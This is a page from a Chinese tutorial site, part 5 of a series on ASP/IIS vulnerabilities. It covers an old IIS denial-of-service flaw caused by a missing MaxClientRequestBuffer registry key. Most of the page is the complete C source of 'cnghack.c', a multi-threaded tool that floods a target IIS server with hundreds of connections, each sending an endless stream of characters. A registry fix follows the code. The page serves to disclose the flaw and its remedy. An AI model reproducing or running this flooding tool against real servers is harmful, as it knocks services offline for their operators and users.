教程中国
PHOTOSHOP CS9.0中文版 MAYA 8.5 FOR WINDOWS Corel Painter v9.0 Flash MX2004 中文版 Illustrator cs2 中文版
VC++6.0含sp6 中英文版 VB6.0 +sp6 简体中文版 Borland Delphi 7汉化版 MSDN for vb6.0中文版 Visual Studio 2005简体
教程中国下属 文件存储共享专家BIBIDU.COM 提供大型软件,教材,源码,电影,音乐,图书等下载 更多精品请点此进入
  您目前所在位置: 教程中国 >> 编程基地 >> ASP >> ASP漏洞分析和解决方法(5) RSS订阅
ASP漏洞分析和解决方法(5)
教程(视频,书籍)下载:  ASP.NET AutoCAD 数据库 C# ASP java photoshop 网页设计 delphi 3dmax Flash C++ VB 张孝祥 实例   更多请进入BIBIDU搜索
IT搜索引擎   

17 IIS web server DOS

  漏洞描述:
  默认情况下,IIS容易被拒绝服务攻击。如果注册表中有一个叫 "MaxClientRequestBuffer" 的键未被创建,针对这种NT系
统的攻击通常能奏效。 "MaxClientRequestBuffer" 这个键用于设置IIS允许接受的输入量。如果 "MaxClientRequestBuffer"
设置为256(bytes),则攻击者通过输入大量的字符请求IIS将被限制在256字节以内。而系统的缺省设置对此不加限制,因此,利用
下面的程序。可以很容易地对IIS server实行DOS攻击:

#include <stdio.h>
#include <windows.h>
#define MAX_THREAD 666
void cng();
char *server;
char *buffer;
int port;
int counter = 0;
int current_threads = 0;
int main(int argc, char **argv)
{
WORD tequila;
WSADATA data;
int p;
DWORD tid;
HANDLE hThread[2000];
//This code is as is and sucks as it is. Won't exit correctly and a lot
of other fun things.
//That I didn't want to take the time to do. So just ctrl+c out of the
code.
//Load up cnghack.exe 3 times for charm.
printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my
beloved.\"\n");
if(argc<2){
printf("Usage: %s [server] [port]\n",argv[0]);
exit(1);
}
buffer=malloc(17500);
memset( buffer, 'A', strlen(buffer));
server=argv[1];
port=atoi(argv[2]);
tequila = MAKEWORD( 1, 1 );
printf("Attempting to start winsock... ");
if( (WSAStartup(tequila, &data)) !=0 ){
printf("failed to start winsock.\n");
exit(1);
}
else{
printf("started winsock.\n\n");
}

counter = 0;
for(p = 0 ; p < MAX_THREAD ; ++p ){
hThread[counter] = CreateThread(0,
0,
(LPTHREAD_START_ROUTINE) cng,
( void * )++counter,
0,
&tid);
}
Sleep(250);
while( current_threads )
Sleep(250);
counter = 0;
printf("Terminated Threads.\n");
while (counter < MAX_THREAD)
{
TerminateThread( hThread[counter], 0 );
++counter;
}
WSACleanup();
return 0;
}

void cng()
{
int SockFD=0, p;
struct sockaddr_in DstSAin;
char GETKILLED[]="GET / HTTP/\r\n";
int die=1;
printf("Entered CNG\n");
++current_threads;
DstSAin.sin_family = AF_INET;
DstSAin.sin_port = htons((u_short)port);
DstSAin.sin_addr.s_addr=inet_addr( server );
if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){
printf("Failed to create socket\n");
--current_threads;
return;
}
if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin)))
{
p=send(SockFD,GETKILLED,strlen(GETKILLED),0);
printf("Step 1: %i\n", p);
for(;;){
p=send(SockFD,buffer,strlen(buffer),0);
printf("P: %i\n", p);
//put in some code to check if send = -1 more then X times we drop
the loop and exit the thread
//bla bla bla i love the dirtiness of concept code.
}
}
--current_threads;
printf("Exited CNG\n");
return;
}

cnghack.c works by doing the following:
Connects to example.com
Sends: GET / HTTP/[return][buffer]

Where:
[return] is just an \r\n
[buffer] is a never ending stream of A's

  攻击结果将导致NT系统的CPU占用率达到 100%

  解决方案
  运行Regedt32.exe
在:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters
增加一个值:
Value Name: MaxClientRequestBuffer
Data Type: REG_DWORD
  设置为十进制
  具体数值设置为你想设定的IIS允许接受的URL最大长度。
  CNNS的设置为256 
 

来源:
作者:
关键字:ASP漏洞分析,解决方法
发表日期:2007-1-8 3:34:00

网页显示有限 阅读全文请下载本文完整版WORD文档

上一篇:ASP漏洞分析和解决方法(4)   下一篇:ASP漏洞分析和解决方法(6)


2008-8-29 10:27:19
本文的相类似文章
  • 0X000000该内存不能为read的解决方法
  • 显示器“临时黑屏”故障解决方法
  • 喷墨打印机“堵头”的解决方法
  • 光驱读盘困难的解决方法一例
  • 硬盘数据丢失后的解决方法
  • ASP漏洞分析和解决方法(10)
  • ASP漏洞分析和解决方法(10)
  • ASP漏洞分析和解决方法(9)
  • ASP漏洞分析和解决方法(8)
  • ASP漏洞分析和解决方法(7)
  • 在学习中进步 在进步中成长 教程中国相随您的成长之路
    华腾联合科技股份有限公司版权所有
    广告联系:Rosibo@163.com